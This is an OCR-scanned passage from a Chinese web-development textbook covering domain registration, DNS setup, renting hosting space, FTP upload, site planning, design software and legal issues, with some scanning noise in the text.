(9) 域名 注册 成 功 后 ， 还 需要 按照 网 络 公司 的 方式 交 费 。 域 名 的 购买 一 般 都 可 以 在 线 支付 。 在 域 
名 注册 结果 提示 的 网 页 中 ， 单 击 “ 在 线 支付 ”超级 链接 ， 即 可 显示 域名 在 线 支付 的 网 页 ， 如 图 1-21 所 
示 ， 选 择 一 个 需要 的 支付 方式 进行 在 线 支付 。 域 名 完成 注册 并 按照 域名 服务 商 指定 的 方式 交 费 以 后 ， 
即 可 使 用 这 个 域名 指向 一 个 网 站 。 


5. 选择 好 的 域名 服务 商 


域名 注册 时 需要 选择 好 的 域名 服务 商 。 在 续费 、 域 名 解析 等 后 期 服务 中 ， 好 的 域名 服务 商 可 以 提 
供 更 好 的 域名 服务 。 较 著名 的 域名 服务 商 有 以 下 几 个 : 
中 资源 (http://www.zzy.cn/)。 
西部 数码 (http://www.west263.com/)。 
中 国 万 网 (http://www.net.cn/)。 
新 网 (http://www.xinnet.com/)。 
中 国 数据 (http://www.zgsj.com/)。 
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武汉 数据 (http:/www.027idc.com )。 
6. 域名 解析 


域名 必须 指向 网 站 服务 器 的 一 个 卫 ， 所 以 需要 把 这 个 域名 解析 到 一 个 指定 的 卫 上 。 一 个 域名 可 以 
解析 多 个 二 级 域名 ， 这 些 二 级 域名 可 以 指向 不 同 服务 器 的 网 站 。 除 了 解析 主机 名 之 外 ， 域 名 还 可 以 作 
为 别名 、 邮 件 交换 记录 的 解析 。 

域名 解析 的 步骤 如 下 : 

输入 登录 名 称 和 密码 后 ， 登 录 域 
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图 1-21 域名 费用 在 线 支 付 图 1-22 登录 域名 管理 系统 


(2) 在 左 侧 单 击 “ 英 文 域名 管理 ”选项 ， 在 右 侧 可 以 看 到 当前 域名 列表 中 的 域名 、 状 态 及 相关 的 
域名 信息 。 选 择 一 个 域名 ， 单 击 “ 域 名 解析 ”按钮 进入 域名 解析 网 页 ， 如 图 1-23 所 示 。 

(3) 在 域名 解析 网 页 中 ， 可 以 增加 域名 解析 ， 如 图 1-24 所 示 。 一 个 域名 ， 需 要 解析 一 个 名 为 
www 的 主机 名 指向 网 站 服务 器 的 卫 。 电 子 邮件 服务 可 以 解析 一 个 mail 的 主机 名 指向 电子 邮件 服务 器 。 
填写 完 域名 解析 后 ， 单 击 “ 提 交 ” 按 钮 ， 即 可 生效 。 
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1-23 ”从 域名 管理 面板 上 进入 域名 解析 1-24 ”在 域名 解析 网 页 上 增加 域名 解析 
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7. 域名 证 书 


用 户 在 注册 完 一 个 域名 后 ， 即 可 拥有 这 个 域名 的 所 有 权 。 域 名 的 注册 信息 需要 在 国际 域名 数据 库 中 
备案 。 在 某 些 网 站 上 可 以 查询 域名 的 注册 证 书 。 例如， 可 以 在 新 网 (http://www.paycenter.com.cn/cert/ 
certhtm) 上 获取 一 个 域名 的 证 书 。 下 面 是 在 新 网 上 查询 一 个 域名 证 书 的 例子 。 
(1) 打开 新 网 域名 证 书 查询 网 站 ， 在 域名 证 书 查询 表单 中 输入 需要 查询 的 域名 ， 如 图 1-25 所 示 。 
(2) 如 图 1-26 所 示 为 一 个 域名 的 域名 证 书 。 域 名 证 书 可 以 显示 域名 的 所 有 权 与 联系 方式 等 信息 。 


域名 证 书 可 以 作为 网 站 域名 所 有 权 的 证 明 。 
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1.2.3 ”申请 服务 器 空间 


访问 网 站 的 过 程 实际 上 就 是 用 户 计 算 机 和 服务 器 进行 数据 连接 和 数据 传递 的 过 程 ， 这 就 要 求 网 站 
必须 存放 在 服务 器 上 才能 被 访问 。 一 般 的 网 站 不 会 使 用 一 个 独立 的 服务 器 ， 而 通常 是 在 网 络 公司 租 用 
一 定 大 小 的 储存 空间 来 支持 网 站 的 运行 。 这 个 租用 的 网 站 存储 空间 就 是 服务 器 空间 。 

1. 为 什么 要 申请 服务 器 空间 

一 个 小 的 网 站 直接 放 在 独立 的 服务 器 上 是 不 实际 的 ， 实 现 方法 是 在 商用 服务 器 上 租用 一 块 服务 器 
空间 ， 每 年 定期 支付 很 少 的 服务 器 租用 费 ， 即 可 把 自己 的 网 站 放 在 服务 器 上 运行 。 租 用 的 服务 器 空间 ， 
用 户 只 需要 管理 和 更 新 自己 的 网 站 ， 服 务 器 的 维护 和 管理 则 由 网 络 公司 完成 。 

在 租用 服务 器 空间 时 ， 需 要 选择 服务 较 好 的 网 络 公 司 。 好 的 服务 器 空间 运行 稳定 ， 很 少 出 现 服 务 
器 停机 现象 ， 有 很 好 的 访问 速度 和 售后 服务 。 某 些 测 试 软件 可 以 方便 地 测 出 服务 器 的 运行 速度 。 新 网 、 
万 网 、 中 资源 等 公司 的 服务 器 空间 都 有 很 好 的 性 能 和 售后 服务 。 

在 网 络 公司 主页 注册 一 个 用 户 名 并 登录 后 ， 即 可 购买 服务 器 空间 。 在 购买 时 需要 选择 空间 的 大 小 
和 支持 程序 的 类 型 。 


2. 服务 器 空间 的 类 型 
不 同 的 服务 器 空间 ， 可 支持 的 网 站 程序 和 数据 库 也 会 有 所 不 同 。 常 见 的 服务 器 空间 可 以 支持 下 面 


这 些 不 同 的 网 站 程序 。 
© 


ASP: 使 用 Windows 系统 和 IIS 服务器。 
PHP: 使 用 Linux 系统 或 Windows 系统 ， 使 用 Apache 网 站 服务 器 。 
.NET: 使 用 Windows 系统 和 IIS 服务 器 。 
JSP: 使 用 Windows 系统 和 Java 的 网 站 服务 器 。 

服务 器 空间 可 支持 的 数据 库 通常 有 以 下 几 种 。 

回 Access: 常用 于 ASP 网 站 。 

SQL Server 2008: 常用 于 ASP 网 站 或 NET 网 站 。 

MySQL 数据 库 : 常用 于 PHP 或 JSP 网 站 。 

回 Oracle 数据 库 : 常用 于 JSP 网 站 。 

在 注册 服务 器 空间 时 ， 需 要 选择 能 支持 自己 网 站 程序 与 数据 库 的 服务 器 空间 。 例 如 ， 本 书 中 开发 
的 程序 是 ASP 程序 ， 需 要 选择 ASP 空间 。 同 时 ， 需 要 注意 服务 器 空间 的 大 小 ，100MB 的 空间 即 可 存 
放 一 般 的 网 站 。 


3. 服务 器 空间 的 注册 步骤 


(1) 在 网 络 公司 的 网 站 上 登录 已经 注册 的 用 户 名 。 登 录 成 功 后 ， 选 择 虚 拟 主机 。 在 虚拟 主机 选择 
网 页 中 ,选择 需要 购买 的 虚拟 主机 类 型 ， 例 如 购买 一 个 100MB 的 ASP 虚拟 主机 空间 ， 如 图 1-27 所 示 。 
(2) 在 空间 注册 面板 中 填写 需要 的 注册 资料 。 这 些 注册 资料 可 能 用 于 以 后 的 业务 联系 ， 需 要 填写 
正确 的 用 户 资料 ， 如 图 1-28 所 示 。 


rn 


加 


EXEC HEL EE A EE 


5 “顶级 机 房 超 强 安全 技术 措施 
了 x 24iN 时 技术 有 务 俩 了 
更 稳定 更 安全 超 高 速 虚拟 服务 验 » 


(3) 提交 注册 后 ， 按 照 网 页 的 提示 交 费 。 可 以 使 用 在 线 支付 、ATM 机 刷卡 、 银 行 转账 等 方式 进 
行 支付 。 交 费 以 后 ， 需 要 联系 网 络 公司 以 确认 开通 服务 。 

(4) 进入 网 站 虚拟 主机 管理 面板 ， 选 择 需 要 管理 的 网 站 空间 ， 如 图 1-29 所 示 。 

(5) 在 网 站 空间 的 管理 面板 中 ， 可 以 对 网 站 空间 进行 配置 。 网 站 空间 需要 绑 定 网 站 域名 和 设置 
FTP 上 传 口令 , 如 图 1-30 所 示 。 经 过 设置 后 , 即 可 在 网 站 空间 中 上 传 网 站 和 使 用 网 站 域名 访问 这 个 网 站 。 

FTP 是 File Transfer Protocal 的 缩写 ， 中 文 名 称 为 文件 传输 协议 ， 用 于 Internet 上 的 文件 传输 。 网 
站 中 的 文件 就 是 通过 FTP 传送 到 网 站 服务 器 中 的 。 


@ 


图 1-29 网 站 空间 管理 面板 图 1-30 网 站 空间 管理 
4. 网 站 空间 和 域名 的 续费 


网 站 的 域名 与 服务 器 空间 是 需要 每 年 按时 续费 的 。 用 户 需要 按 网 络 公 司 规定 的 方式 进行 续费 。 域 
名 和 空间 不 可 以 欠 费 ， 如 果 欠 费 ， 管 理 部 门 会 收回 这 个 域名 和 空间 。 如 被 其 他 用 户 再 次 注册 以 后 ， 就 
很 难 再 注册 到 这 个 域名 ， 也 可 能 导致 自己 网 站 的 数据 丢失 。 


1.2.4 确定 网 站 主题 


网 站 的 主题 是 指 一 个 网 站 在 建设 中 需要 完成 的 主要 任务 和 要 实现 的 主要 设计 思想 。 例 如 ， 一 个 新 
闻 类 的 网 站 需要 有 着 功能 强大 的 新 闻 发 布 功能 ， 个 人 网 站 可 以 很 好 地 展示 个 人 风采 和 相关 资料 。 网 站 
主题 是 一 个 网 站 的 设计 理念 。 

设计 和 确定 网 站 的 主题 是 网 站 开发 的 一 项 重要 工作 。 相 关 的 设计 思路 需要 在 这 个 过 程 中 完成 。 设 
计 思 想 需要 书写 设计 文档 。 


1.2.5 ”网 站 整体 规划 


在 设计 网 站 以 前 ， 需 要 对 网 站 进行 整体 规划 和 设计 ， 写 好 网 站 项 目 设计 书 ， 在 以 后 的 制作 中 要 按 
照 这 些 规划 和 设计 进行 。 可 以 从 网 站 内 容 、 网 页 美术 效果 和 网 站 程序 的 构思 3 个 方面 进行 网 站 的 整体 
规划 。 

回 ”网 站 内 容 : 在 进行 网 站 开发 以 前 ， 需 要 构思 网 站 的 内 容 ， 需 要 突出 哪些 主要 内 容 。 例 如 个 人 
网 站 ， 可 以 有 个 人 文章 、 个 人 活动 、 生 活 照片 、 才 艺 展示 、 个 人 作品 、 联 系 方式 等 内 容 。 还 
需要 明确 哪些 是 主要 内 容 ， 需 要 在 网 站 中 突出 制作 的 重点 。 

回 ”网 页 美术 效果 : 页 面 的 美术 效果 往往 决定 一 个 网 站 的 档次 ， 网 站 需要 有 美观 大 方 的 版 面 。 可 
以 根据 个 人 的 喜好 、 页 面 内容 等 设计 出 自己 喜欢 的 页 面 效 果 。 如 果 是 个 人 网 站 ， 可 以 根据 个 
人 的 特长 和 才艺 等 内 容 制 作出 夸张 的 美术 作品 式 的 网 站 。 

回 ”网 站 程序 的 构思 : 需要 构思 网 站 的 功能 由 什么 样 的 程序 来 实现 。 如 果 是 很 简单 的 个 人 主页 ， 
则 不 需要 经 常 更 新 ， 更 不 必 编程 做 动态 网 站 。 
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1.2.6 ”收集 资料 与 素材 


网 站 的 设计 需要 相关 的 资料 和 素材 ， 丰 富 的 内 容 可 以 丰富 网 站 的 版 面 。 个 人 网 站 可 以 整理 个 人 的 
作品 、 照 片 、 展 示 等 资料 。 企 业 网 站 需要 整理 企业 的 文件 、 广 告 、 产 品 、 活 动 等 相关 资料 。 整 理 好 资 
料 后 ， 需 要 对 资料 进行 第 选 和 编辑 。 

可 以 使 用 以 下 方法 来 收集 网 站 资料 与 素材 。 

回 图 片 ， 可 以 使 用 相机 拍摄 相关 图 片 ， 对 已 有 的 照片 ， 可 以 使 用 扫描 仪 输入 到 电脑 。 一 些 常见 

图 片 可 以 在 网 站 上 搜索 或 下 载 。 

回 文档 : 收集 和 整理 现 有 的 文件 、 广 告 、 电 子 表格 等 内 容 。 对 纸 制 文件 ， 需 要 输入 到 电脑 形成 

电子 文档 。 文 字 类 的 资料 需要 进行 整理 和 分 析 。 

回 ”媒体 内 容 : 收集 和 整理 现 有 的 录音 、 视 频 等 资料 。 这 些 资料 可 以 作为 网 站 的 多 媒体 内 容 。 


1.2.7 ”设计 网 页 页 面 


完成 网 站 的 页 面 构思 和 资料 整理 后 ， 即 可 用 图 片 设计 软件 设计 网 站 的 页 面 。 网 站 页 面 的 设计 是 一 
个 美术 创意 的 工作 ， 需 要 对 网 页 的 色彩 搭配 、 网 页 内 容 、 布 局 排版 等 内 容 用 平面 设计 软件 设计 一 个 页 
面 效果 。 本 书 选用 Photoshop 软件 设计 网 站 的 页 面 。 如 图 1-31 所 示 为 一 个 网 页 页 面 的 例子 ， 本 书 在 后 
面 章节 中 将 会 详细 讲解 Photoshop CS6 的 使 用 。 


MX 格 我 的 个 全 
过 是 间 丰 的 栓 这 儿 是 六 学 的 几 芝 
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图 1-31 主页 效果 图 
1.2.8 切 图 并 制作 成 页 面 


完成 网 页 效果 图 的 设计 后 ， 需 要 使 用 Fireworks 对 效果 图 进行 切割 和 优化 ， 这 一 操作 在 本 书后 面 的 
章节 中 将 会 详细 讲解 。 

完成 切片 后 的 效果 图 ， 需 要 使 用 Dreamweaver 进行 网 站 页 面 的 设计 ， 在 这 一 过 程 中 实现 网 站 内 容 
的 输入 和 排版 。 不 同 的 页 面 使 用 超 链接 联系 起 来 ， 用 户 单 击 某 个 超级 链接 时 ， 即 可 跳 转 到 对 应 页 面 。 


@_ 


1.2.9 开发 动态 网 站 模块 


网 站 的 管理 功能 就 是 网 站 的 动态 模块 。 网 站 的 动态 模块 可 以 实现 功能 强大 的 管理 功能 ， 借 助 于 这 
些 功 能 , 管理 后 台 的 人 不 需要 掌握 多 少 专业 的 网 站 制作 知识 ， 即 可 简便 地 进行 网 站 内 容 的 管理 和 维护 。 
网 站 的 管理 功能 一 般 都 有 友好 的 管理 界面 ， 在 这 种 界面 中 用 户 可 以 对 网 站 的 内 容 进 行 “傻瓜 ” 式 操 作 。 

网 站 的 动态 功能 是 靠 编程 来 实现 的 ， 编 程 的 技术 也 有 很 多 种 ， 常 见 的 网 站 程序 开发 技术 有 ASP、 
PHP、JSP、ASP.NET 等 。 这 些 编程 技术 可 以 实现 数据 库 的 访问 和 管理 , 用 户 在 后 台 上 进行 网 站 管理 时 ， 
程序 会 把 相关 的 数据 保存 到 数据 库 中 。 用 户 访问 网 页 时 ， 网 页 中 的 程序 在 服务 器 上 运行 ， 从 数据 库 中 
读 出 相关 内 容 ， 并 生成 网 页 页 面 发 送 到 浏览 器 。 

网 站 编程 一 般 比 较 简 单 ， 语 法 和 相关 操作 比较 少 ， 学 习 难 度 不 大 。 


1.2.10 ”发 布 与 上 传 


网 站 完成 设计 与 调试 以 后 ， 需 要 上 传 到 租用 的 服务 器 空间 中 才能 被 用 户 访问 。 发 布 网 站 就 是 把 自 
己 计算 机 中 的 网 站 内 容 发 布 到 网 络 上 服务 器 空间 的 过 程 。 


1. 网 站 上 传 的 方法 


上 传 网 站 时 ， 需 要 使 用 FTP 软件 把 设计 好 的 网 站 上 传 到 租用 的 网 络 空间 中 。 这 里 以 LeapFTP 为 例 
讲解 FTP 软件 的 使 用 方法 和 网 站 上 传 操作 。 


2. LeapFTP 的 使 用 和 网 站 文件 管理 


LeapFTP 是 一 个 非常 方便 的 FTP 客户 端 软件 ， 在 网 络 上 可 以 下 载 到 LeapFTP。 使 用 LeapFTP 可 以 
方便 地 对 网 站 的 文件 进行 上 传 和 下 载 。 

(1) 软件 的 获取 。 可 以 在 软件 下 载 网 站 上 下 载 一 下 LeapFTP 软件 。 例 如 ， 在 http://www.greendown.cn 
网 站 上 即 可 以 搜索 和 下 载 这 个 软件 。 

(2) FTP 服务 器 连接 。 在 FTP 服务 器 地 址 栏 中 输入 服务 器 的 地 址 ， 在 “用 户 名 ”和 “密码 ”文本 
框 中 输入 申请 到 服务 器 空间 的 用 户 名 和 密码 , “端口 ”一 般 默 认为 21， 然 后 按 Enter 键 ， 这 时 LeapFTP 
就 会 连接 到 服务 器 的 空间 上 ， 如 图 1-32 所 示 。 Se 

(3) 在 LeapFTP 中 ， 左 边 表示 本 地 文件 , 右 [ET ROCESIIRIC IE 
边 表示 服务 器 上 的 文件 。 右 击 本 地 的 文件 或 文件 上 LE 2 
夹 ， 在 弹出 的 快捷 菜单 中 选择 “上 传 ” 命 令 ， 即 可 9 
把 文件 上 传 到 服务 器 。 同 样 ， 右 击 服务 器 上 的 文件 
再 选择 “下 载 ” 命 令 , 可 以 把 服务 器 上 的 文件 下 载 
到 本 地 计算 机 。 右 下 角 的 文本 提示 表示 当前 工作 的 
状态 ， 左 下 角 的 提示 表示 当前 工作 的 列队 。 

(4) 服务 器 文件 的 管理 。 右 击 服务 器 上 的 文 
件 ， 可 以 对 服务 器 的 文件 进行 删除 、 复 制 、 粘 贴 、 
重 命名 等 操作 。 

(5) 要 注意 上 传 文件 的 远程 文件 夹 。 单 击 相 
应 的 远程 文件 夹 ， 即 可 更 改 远程 目录 。 
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1.2.11 ”后 期 更 新 与 维护 


网 站 完成 设计 和 上 传 以 后 ， 全 世界 的 用 户 即 可 通过 网 站 的 域名 访问 这 个 网 站 ， 但 陈旧 的 版 面 和 长 
期 不 变 的 内 容 并 不 能 给 用 户 带 来 吸引 力 。 完 成 后 的 网 站 可 能 存在 着 一 些 错误 和 问题 ， 编 写 完成 的 网 站 
程序 可 能 运行 一 段 时 间 后 会 出 现 一 些 程序 上 的 问题 ， 这 就 需要 经 常 对 网 站 的 内 容 进 行 更 新 和 维护 。 

对 于 个 人 网 站 ， 需 要 更 新 网 站 上 相关 的 个 人 资料 ， 发 布 个 人 文章 、 各 种 社会 活动 、 相 关照 片 等 内 
容 。 对 于 企业 网 站 ， 需 要 更 新 企业 新 闻 、 最 新 产品 、 企 业 商业 信息 等 内 容 。 

在 更 新 网 站 内 容 时 ， 需 要 对 网 站 的 内 容 进行 筛选 和 排序 ， 需 要 及 时 地 删除 质量 不 高 或 过 期 的 内 容 ， 
让 网 站 中 最 重要 的 内 容 放 在 网 站 的 首页 和 最 容易 被 浏览 到 的 版 面 。 

对 于 网 站 运行 中 出 现 的 程序 方面 的 问题 ， 需 要 分 析出 错 的 原因 ， 找 出 程序 中 隐藏 的 缺陷 和 错误 ， 
并 进行 相关 改正 。 


1.2.12 ”网 站 的 推广 


网 站 上 传 到 服务 器 以 后 ， 即 可 被 世界 范围 内 的 人 自由 浏览 。 但 短 时 间 内 并 不 会 有 很 多 人 知道 它 ， 
所 以 初期 访问 量 一 般 不 会 太 大 。 为 了 提高 网 站 的 知名 度 ， 需 要 对 网 站 进行 一 定 的 推广 。 网 站 的 推广 有 
自由 推广 和 付费 推广 两 种 方式 。 下 面 介绍 这 两 种 常用 的 网 站 推广 方式 。 

1. 自由 推广 


有 很 多 办 法 可 以 免费 地 推广 网 站 ， 让 更 多 的 人 知道 这 个 网 站 ， 提 高 网 站 的 点 击 量 。 

可 以 和 相关 的 站 点 交换 友情 链接 ， 借 助 于 友情 链接 给 自己 的 网 站 带 来 一 些 流量 。 

可 以 在 自己 的 名 片 、 产 品 、 相 关 广告 上 印 上 网 站 的 网 址 ， 借 助 于 这 些 媒 介 让 人 们 知道 这 个 网 站 。 
可 以 在 论坛 、 博 客 、 留 言 板 上 发 贴 或 留言 ， 推 广 自己 的 网 站 。 

可 以 把 自己 的 网 站 添加 到 各 种 搜索 引擎 中 ， 让 网 友 通 过 搜索 找到 自己 的 网 站 。 

可 以 对 网 站 的 标题 、 关 键 字 等 内 容 进行 优化 ， 让 自己 的 网 站 在 搜索 引擎 中 有 更 好 的 结果 。 


付费 推广 


对 于 企业 类 网 站 ， 可 以 用 付费 的 方式 推广 自己 的 网 站 。 付 费 推广 针对 性 较 好 ， 在 较 短 的 时 间 内 即 
可 有 很 好 的 广告 收益 。 

回 ”搜索 引擎 登录 : 搜索 引擎 是 最 常用 的 推广 方式 。 在 搜索 引擎 注册 某 些 关键 字 并 交 费 以 后 ， 当 
用 户 搜索 这 些 关键 字 时 ， 你 的 网 站 就 可 以 排 在 所 有 结果 的 最 前 面 ， 用 户 就 会 点 击 这 个 网 站 。 
这 种 推广 广告 针对 性 很 强 ， 在 短 时 间 内 即 可 带 来 大 量 的 访问 流量 ， 对 网 站 上 相关 内 容 或 产品 
的 推广 有 很 大 的 作用 。 

回 ”搜索 引擎 竞价 排名 : 如 果 这 些 关键 字 已 经 被 注册 或 推广 ， 则 可 以 采用 竞价 推广 的 方式 ， 就 是 
以 更 高 的 价格 注册 这 个 关键 字 ， 使 自己 的 网 站 在 搜索 结果 中 排 在 结果 的 前 面 。 在 进行 网 站 关 
键 字 推广 时 ， 需 要 选择 较 大 的 搜索 引擎 推广 自己 的 网 站 ， 如 百度 、Google、 雅 虎 等 搜索 引擎 
的 推广 都 可 以 给 网 站 带 来 很 大 的 流量 。 在 进行 推广 时 需要 根据 实际 情况 选择 需要 的 搜索 引擎 。 

回 ”传统 广告 推广 : 传统 广告 也 是 一 个 很 好 的 网 站 推广 手段 。 报 刊 、 电 视 、 广 播 、 广 告 牌 等 广告 
形式 的 覆盖 面 广 ， 对 网 站 的 推广 有 很 好 的 效果 。 


NP 区 办 欠 欠 罗 


1.3 常用 的 网 页 设计 软件 


制作 网 页 需要 专用 的 网 页 设计 工具 ， 最 常用 的 工具 是 Dreamweaver 和 FrontPage， 借 助 于 这 两 个 工 
具 可 以 方便 地 对 网 页 进行 设计 和 排版 -网 页 中 的 图 片 需要 使 用 Fireworks 或 Photoshop 进行 设计 和 编辑 ， 
Flash 动画 需要 用 动画 制作 软件 Flash 进行 制作 。 


1.3.1 网 页 设计 软件 Dreamweaver 


Dreamweaver 是 一 个 功能 强大 的 网 页 设计 工具 ， 有 着 方便 实用 的 工具 和 “所 见 即 所 得 ”的 排版 功 
能 ， 界 面 十 分 友好 ， 使 用 方便 。 在 不 需要 掌握 HTML 语言 的 情况 下 ， 即 可 利用 其 强大 的 功能 开发 出 专 
业 的 网 页 。Dreamweaver 也 是 一 个 方便 的 编程 工具 ， 可 以 方便 地 编写 ASP、PHP、JSP 代码 ， 软 件 的 自 
动 提示 填充 功能 和 代码 染色 功能 可 以 有 效 地 帮助 用 户 编写 和 调试 各 种 代码 。 借 助 于 Dreamweaver 可 以 
快速 、 方 便 地 开发 出 各 种 动态 或 静态 网 站 。 如 图 1-33 所 示 为 Dreamweaver CS6 的 工作 界面 。 本 书 以 后 
的 章节 将 重点 讲解 Dreamweaver CS6 的 使 用 。 
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1-33 ”Dreamweaver CS6 工作 界面 


1.3.2 平面 设计 软件 Photoshop 


Photoshop 是 一 个 专业 的 平面 设计 软件 ， 具 有 功能 强大 的 平面 图 像 设 计 功 能 。 借 助 于 Photoshop 可 
以 设计 出 各 种 图 片 ,在 网 页 设计 中 , 可 以 使 用 Photoshop 设计 网 页 效果 图 。 如 图 1-34 所 示 为 用 Photoshop 
CS6 设计 的 一 个 简单 的 网 页 效果 图 。 
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1-34 ”用 Photoshop CS6 设计 网 页 效果 图 
1.3.3 ”网 页 图 片 设计 和 切 图 软件 Fireworks 


网 页 丰富 多 彩 的 效果 需要 相应 的 图 片 才 可 以 表现 出 来 ， 相 应 的 图 片 需要 根据 网 页 的 需求 来 设计 。 
Fireworks 是 一 个 功能 强大 、 专 门 针对 网 站 进行 平面 设计 的 图 片 处 理 软 件 ， 网 站 的 美工 一 般 使 用 
Fireworks 来 完成 。Fireworks 具有 针对 网 站 的 背景 、 样 式 、 优 化 、 帧 等 实用 的 工具 ， 可 以 方便 地 设计 出 
网 站 图 片 ， 并 且 使 用 方便 ， 学 习 简 单 。 如 图 1-35 所 示 为 Fireworks CS6 的 工作 界面 。 
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1-35 ”Fireworks CS6 的 工作 界面 


1.3.4 动画 设计 软件 Flash 


网 页 中 的 动画 内 容 可 以 使 网 站 更 加 美观 生动 ， 动 画 内 容 一 般 是 使 用 Flash 进行 设计 的 ， 运 用 Flash 
可 以 设计 出 各 种 网 页 动画 或 广告 。 如 图 1-36 所 示 为 Flash CS6 的 工作 界面 。 在 本 书 的 第 15 章 将 会 详细 
讲解 Flash 的 设计 制作 。 
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图 1-36 ”Flash CS6 的 工作 界面 


1.4 Web 2.0 网 站 概述 


传统 的 WWW， 用 户 访问 时 只 能 被 动 地 接受 ， 无 法 参与 和 更 新 网 站 的 内 容 。 随 着 编程 技术 和 服务 
器 技术 的 发 展 ， 人 们 已 经 开发 出 具有 强大 功能 的 动态 网 站 ， 网 站 的 用 户 既是 网 站 的 访问 者 ， 又 是 网 站 
内 容 的 提供 者 ， 用 户 与 网 站 有 着 大 量 的 数据 交互 ， 所 有 的 用 户 参与 网 站 数据 的 更 新 与 共享 ， 这 种 网 站 
的 建设 思想 和 技术 就 是 Web 2.0。 

Web 2.0 使 用 Java、ASPNET、PHP 等 技术 开发 出 具有 强大 交互 功能 的 网 站 程序 ， 具 有 功能 强大 
的 网 站 数据 库 ， 需 要 使 用 CSS、XHTML、Ajax、XML 等 开发 技术 。 常 见 的 论坛 、 博 客 、 维 基 、 视 频 
点 播 共享 类 的 网 站 就 是 Web 2.0 技术 很 好 的 代表 。 

例如 ,百度 知道 (http://zhidao.baidu.com) 就 是 一 个 功能 非常 强大 的 Web 2.0 网 站 , 如 图 1-37 所 示 。 
在 这 个 网 站 中 ， 所 有 的 用 户 都 可 以 参加 网 站 的 交互 ， 为 网 站 提供 内 容 。 
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1.5.1 域名 的 重要 性 与 法 律 保护 问题 


网 站 制作 完成 以 后 ， 域 名 就 是 用 户 认可 这 个 网 站 的 重要 标志 。 因 此 ， 域 名 就 与 产品 品牌 、 企 业 商 
标 、 企 业 形象 标志 等 具有 同等 的 地 位 与 价值 。 

域名 是 一 个 网 站 长 期 培养 的 品牌 。 一 个 网 站 选择 好 一 个 域名 以 后 ， 一 般 情 况 下 不 会 再 改动 ， 并 会 
把 域名 作为 自己 网 站 的 品牌 长 期 地 推广 与 打造 。 因 此 ， 在 申请 和 使 用 域名 时 ， 需 要 了 解 一 些 相关 的 法 
律 问题 。 

现 阶段 还 没有 专门 针对 域名 的 法 律 。《 中 国 互 联网 络 域名 管理 办 法 》 是 信息 产业 部 颁布 的 域名 管 
理 法 规 ， 按 照 这 个 规定 ， 域 名 是 谁 先 注册 谁 拥 有 。 域 名 过 期 后 将 在 一 定时 间 内 回收 ， 供 其 他 用 户 继续 
使 用 。 因 此 ， 域 名 需要 按时 续费 。 域 名 欠 费 后 ， 可 能 导致 域名 丢失 。 

另外 ， 域 名 需要 实名 注册 ， 并 准确 填写 用 户 的 资料 。 当 域名 口令 丢失 时 ， 用 户 可 以 使 用 自己 的 有 
效 证 件 找 回 域名 口令 。 对 于 域名 的 注册 和 从 事 与 域名 相关 的 活动 ， 还 有 以 下 规定 : 

(1) 是 依法 设立 的 企业 法 人 或 事业 法 人 。 

(2) 有 与 从 事 域名 注册 活动 相 适应 的 资金 和 专门 人 员 。 

(3) 有 为 用 户 提供 长 期 服务 的 信誉 或 者 能 

(4) 有 业务 发 展 计划 及 相关 技术 方案 。 

(5) 有 健全 的 网 络 与 信息 安全 保障 措施 。 

(6) 信息 产业 部 规定 的 其 他 条 件 。 
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第 1 章 网 站 开发 
用 户 需要 具备 这 些 条 件 ， 遵 守 这 些 法 规 ， 文 明 健康 地 从 事 法 律 法 规 许可 的 互联 网 活动 。 
1.5.2 ”网 站 的 空间 服务 质量 与 服务 商 


如 同 普通 商品 一 样 ， 网 站 的 服务 器 空间 也 有 质量 的 优 务 。 用 户 需 要 选择 有 良好 服务 的 服务 商 与 服 
务 器 空间 。 好 的 服务 器 空间 应 该 有 着 良好 的 运行 速度 与 网 络 带宽 ， 这 样 才 可 以 保证 用 户 访问 网 站 时 可 
以 迅速 地 打开 网 页 。 

服务 器 空间 可 以 出 现 停机 维护 、 服 务 故 障 等 问题 。 优 秀 的 服务 器 提供 商 需 要 有 良好 的 技术 能 力 ， 
以 保证 服务 器 很 少 出 现 停机 、 无 法 访问 网 页 等 情况 。 网 站 的 不 间断 运行 时 间 应 不 少 于 99%。 此 外 ， 服 
务 器 机 房 需要 有 适合 的 温度 湿度 环境 ， 并 且 配 备 不 间断 电源 。 

优秀 的 服务 器 提供 商 可 以 提供 7 个 工作 日 24 小 时 的 无 间断 服务 。 这 样 ， 用户 出 现 无 法 访问 的 情况 
时 ， 可 以 及 时 对 这 些 问 题 进 行 解决 。 


1.5.3 ”网 站 的 媒体 性 质 与 法 律 道德 规范 问题 


网 站 是 网 络 中 最 常用 的 信息 传播 形式 、 最 新 一 代 的 媒体 ， 与 传统 媒体 一 样 具 有 巨大 的 影响 力 。 网 
站 上 的 信息 传播 速度 快 ， 影 响 范围 广 ， 影 响 力 大 。 网 站 作为 一 个 媒体 ， 所 有 的 活动 与 信息 都 应 遵守 国 
家 相关 的 法 律 法 规 ， 尊 重 社会 公德 。 

在 立法 方面 ， 国 家 先后 颁布 了 《互联 网 信息 服务 管理 办 法 》《 互 联网 电子 公告 服务 管理 规定 》《 互 
联网 站 从 事 登 载 新 闻 业 务 管理 暂行 规定 》《 互 联网 出 版 管理 暂行 规定 》 等 法 律 法 规 。 这 些 法 律 法 规 有 
力 地 保障 了 网 站 媒体 的 健康 、 有 序 发 展 。 

在 进行 网 站 设计 时 ， 需 要 本 着 良好 的 职业 道德 与 社会 公德 素质 ， 遵 守 各 项 法 律 法 规 ， 在 网 站 中 体 
现 出 文明 、 进 步 、 健 康 的 设计 元 素 与 内 容 。 

对 于 新 闻 出 版 、 电 子 商 务 、 民 间 社 团 类 的 网 站 ， 开 设 网 站 的 个 人 与 团体 需要 有 相关 的 法 律 资质 ， 
经 相关 的 管理 部 门 行政 审批 以 后 才 可 以 开设 这 种 网 站 。 


1.5.4 与 网 站 内 容 版 权 相 关 的 问题 


网 站 是 一 个 开放 式 的 媒体 平台 。 网 站 上 所 有 的 内 容 ， 都 可 能 涉及 版 权 问题 。 
1. 网 站 上 的 内 容 是 有 版 权 的 


网 站 上 的 内 容 是 开放 的 ， 发 布 到 网 络 上 的 内 容 都 可 以 被 其 他 人 复制 和 传播 ， 因 此 ， 发 布 到 网 络 的 
内 容 就 无 法 保密 与 保证 版 权 。 对 于 重要 资料 ， 最 好 不 要 在 网 络 上 公布 。 另 外 ， 可 以 在 网 站 上 对 网 站 内 
容 的 版 权 进 行 相关 的 说 明 。 
网 络 上 发 布 的 内 容 如 果 不 是 原创 ， 在 进行 发 布 时 ， 需 要 考虑 到 信息 的 版 权 问题 。 这 时 需要 取得 作 
